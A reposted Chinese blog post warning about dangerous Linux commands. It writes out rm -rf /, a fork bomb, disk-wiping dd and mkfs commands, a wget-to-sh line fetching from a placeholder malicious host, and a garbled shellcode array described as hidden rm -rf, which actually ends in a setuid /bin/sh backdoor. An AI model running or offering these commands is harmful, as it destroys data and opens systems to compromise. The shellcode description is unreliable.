zoukankan      html  css  js  c++  java
  • ”非常危险“的Linux命令

    Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

    rm –rf

    rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:

    rm  删除linux下的文件

    rm -r 递归删除文件夹,包括空文件夹

    rm -f 强制无条件删除只读文件

    rm -rf / : 强制无条件删除root目录下所有内容。

    rm -rf * : 强制无条件删除当前目录下所有内容。

    rm -rf . : 强制无条件删除当前文件夹和子文件夹

    综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:

    alias rm= 'rm -i'

    这样,在你下次删除东西的时候,它会提醒你到底要删啥。

    :( ){:|:&};:

    这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

    手贱的同学可以尽管在虚拟机里试试:

     :( ){:|:&};:

    任意命令 > /dev/sda

    这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

    mv 指定的文件夹 /dev/null

    这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

    # mv /home/user/* /dev/null

    上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

    wget http://malicious_source -O- | sh

    这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。

    mkfs.ext3 /dev/sda

    上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。

    > 任意文件

    这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:

    > xt.conf

    你系统配置文件里的内容可能就会因此被清理掉。

    ^foo^bar

    这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

    buquan.png

    dd if=/dev/random of=/dev/sda

    dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

    隐藏命令

    下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
    “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
    “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
    “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
    “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
    “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
    “x6ex2fx73x68x00x2dx63x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;
  • 相关阅读:
    面向对象:范式与思想
    每个人都应该懂点函数式编程
    Lambda 表达式-即匿名函数----Lambda演算-即匿名函数的等价推演过程-- => define as
    Side effect (computer science)
    系统理论
    参量与变量、指针、函数、对象
    面向对象和结构化程序设计的区别X
    面向对象编程与面向过程编程的区别(翻译版)
    2015 Objective-C 新特性
    Comparison of programming paradigms
  • 原文地址:https://www.cnblogs.com/Fluorescence-tjy/p/6145382.html
Copyright © 2011-2022 走看看